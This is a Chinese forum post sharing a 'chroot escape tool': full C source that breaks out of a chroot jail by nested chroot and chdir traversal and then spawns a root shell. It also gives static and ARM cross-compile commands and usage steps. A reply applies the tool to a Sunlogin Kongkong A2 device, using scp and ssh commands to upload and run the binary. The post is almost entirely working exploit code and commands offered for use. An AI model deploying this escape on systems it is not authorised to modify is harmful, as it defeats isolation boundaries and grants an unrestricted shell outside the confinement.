chroot逃逸工具

@Ta 2025-06-05发布,2025-06-06修改 8477点击

在Github上查看:https://github.com/SwimmingTiger/oraykvm/tree/master/chroot%E9%80%83%E9%80%B8%E5%B7%A5%E5%85%B7

unchroot.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    mkdir("/tmp", 0777);
    mkdir("/tmp/unchroot.dir", 0755);
    chroot("/tmp/unchroot.dir");
    chdir("../../../../../../../../../../../../../../../../../../../../../../../../../../..");
    chroot(".");
    system("/bin/sh -l");
    return 0;
}

编译:

gcc -o unchroot -static unchroot.c

交叉编译为32位ARM二进制

arm-linux-gnueabi-gcc -o unchroot -static unchroot.c

unchroot(491.31 KB)

使用

在chroot环境用root身份执行它即可(如果不是root身份,自行加sudo。如果无法切换到root身份,则无法从chroot中逃逸):

chmod +x ./unchroot
./unchroot

应该会离开chroot环境,进入外面的shell。


思路来自 https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2024/05/25/chroot-escape

回复列表(1|隐藏机器人聊天)
  • @Ta / 3小时前 / /

    在向日葵控控A2中进行chroot逃逸

    1. 下载 unchroot(491.31 KB)

    2. 执行命令:

    # 注意 scp 的 -P 参数是大写
    scp -o 'HostKeyAlgorithms=ssh-rsa' -P 44022 ./unchroot admin@192.168.x.x:/dev/
    # 注意 ssh 的 -p 参数是小写
    ssh -o 'HostKeyAlgorithms=ssh-rsa' -p 44022 admin@192.168.x.x
    chmod +x /dev/unchroot
    /dev/unchroot
    
    1. 效果

    image.png(78.71 KB)

添加新回复
回复需要登录